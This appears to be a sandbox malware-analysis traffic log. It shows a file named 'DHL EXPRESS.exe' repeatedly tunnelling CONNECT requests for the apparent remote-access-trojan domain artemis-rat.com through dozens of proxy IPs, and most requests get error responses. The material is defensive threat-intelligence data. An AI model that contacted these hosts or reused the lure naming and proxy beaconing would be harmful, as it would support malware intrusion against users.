Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:49.380275965 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:51.328830004 CET	994	IN	HTTP/1.1 500 Internal Server Error Date: Mon, 11 Mar 2024 17:38:11 GMT Server: Apache/2.4.55 (Win64) OpenSSL/1.1.1s Access-Control-Allow-Origin: * Access-Control-Max-Age: 1000 Access-Control-Allow-Headers: X-Requested-With, Content-Type, Origin, Authorization, Accept, Client-Security-Token, Accept-Encoding Access-Control-Allow-Methods: POST, GET, OPTIONS, DELETE, PUT Content-Length: 530 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 73 65 72 76 65 72 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 61 6e 20 69 6e 74 65 72 6e 61 6c 20 65 72 72 6f 72 20 6f 72 0a 6d 69 73 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 61 6e 64 20 77 61 73 20 75 6e 61 62 6c 65 20 74 6f 20 63 6f 6d 70 6c 65 74 65 0a 79 6f 75 72 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 70 3e 50 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 74 68 65 20 73 65 72 76 65 72 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 61 74 20 0a 20 61 64 6d 69 6e 40 65 78 61 6d 70 6c 65 2e 63 6f 6d 20 74 6f 20 69 6e 66 6f 72 6d 20 74 68 65 6d 20 6f 66 20 74 68 65 20 74 69 6d 65 20 74 68 69 73 20 65 72 72 6f 72 20 6f 63 63 75 72 72 65 64 2c 0a 20 61 6e 64 20 74 68 65 20 61 63 74 69 6f 6e 73 20 79 6f 75 20 70 65 72 66 6f 72 6d 65 64 20 6a 75 73 74 20 62 65 66 6f 72 65 20 74 68 69 73 20 65 72 72 6f 72 2e 3c 2f 70 3e 0a 3c 70 3e 4d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 61 62 6f 75 74 20 74 68 69 73 20 65 72 72 6f 72 20 6d 61 79 20 62 65 20 61 76 61 69 6c 61 62 6c 65 0a 69 6e 20 74 68 65 20 73 65 72 76 65 72 20 65 72 72 6f 72 20 6c 6f 67 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>500 Internal Server Error</title></head><body><h1>Internal Server Error</h1><p>The server encountered an internal error ormisconfiguration and was unable to completeyour request.</p><p>Please contact the server administrator at admin@example.com to inform them of the time this error occurred, and the actions you performed just before this error.</p><p>More information about this error may be availablein the server error log.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
994	192.168.2.8	52923	45.60.186.208	27488	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:49.386008024 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
995	192.168.2.8	52946	104.16.107.142	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:49.399364948 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:49.553714037 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:49 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
996	192.168.2.8	52953	104.19.233.117	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:49.401036024 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:49.555330992 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:49 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
997	192.168.2.8	52956	104.17.62.87	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:49.433396101 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:49.587702990 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:49 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
998	192.168.2.8	51053	69.75.140.157	8080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:49.438143969 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:49.614949942 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
999	192.168.2.8	52880	103.105.126.18	84	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:49.446046114 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:50.331960917 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:51.597640038 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:54.097184896 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:58.909761906 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1000	192.168.2.8	52958	172.67.35.15	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:49.448800087 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:49.603225946 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:49 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1001	192.168.2.8	51146	162.214.225.223	49227	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:49.451208115 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:52.456541061 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:55.457053900 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:01.456681967 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:13.565763950 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1002	192.168.2.8	51066	192.163.202.88	39782	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:49.454962969 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:52.456541061 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:55.457031012 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:01.456675053 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:13.565762043 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:37.581460953 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:38:25.706459999 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1003	192.168.2.8	52931	184.170.248.5	4145	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:49.457389116 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1004	192.168.2.8	52966	104.20.205.191	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:49.460310936 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:49.615705967 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:49 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1005	192.168.2.8	52922	221.153.92.39	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:49.462466002 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1006	192.168.2.8	52969	104.18.254.76	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:49.476047039 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:49.631077051 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:49 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1007	192.168.2.8	52899	89.218.8.152	1080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:49.484249115 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1008	192.168.2.8	52478	67.201.33.10	25283	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:49.485025883 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1009	192.168.2.8	52989	172.67.182.153	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:49.485466003 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:49.640002966 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:49 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1010	192.168.2.8	52995	104.20.225.218	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:49.487826109 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:49.642544985 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:49 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1011	192.168.2.8	52920	192.162.232.15	1080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:49.487982035 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1012	192.168.2.8	52906	103.118.44.136	8080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:49.488106966 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1013	192.168.2.8	52944	52.151.210.204	9002	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:49.489063025 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1014	192.168.2.8	52909	123.126.158.50	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:49.491390944 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1015	192.168.2.8	53005	162.159.242.62	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:49.492257118 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
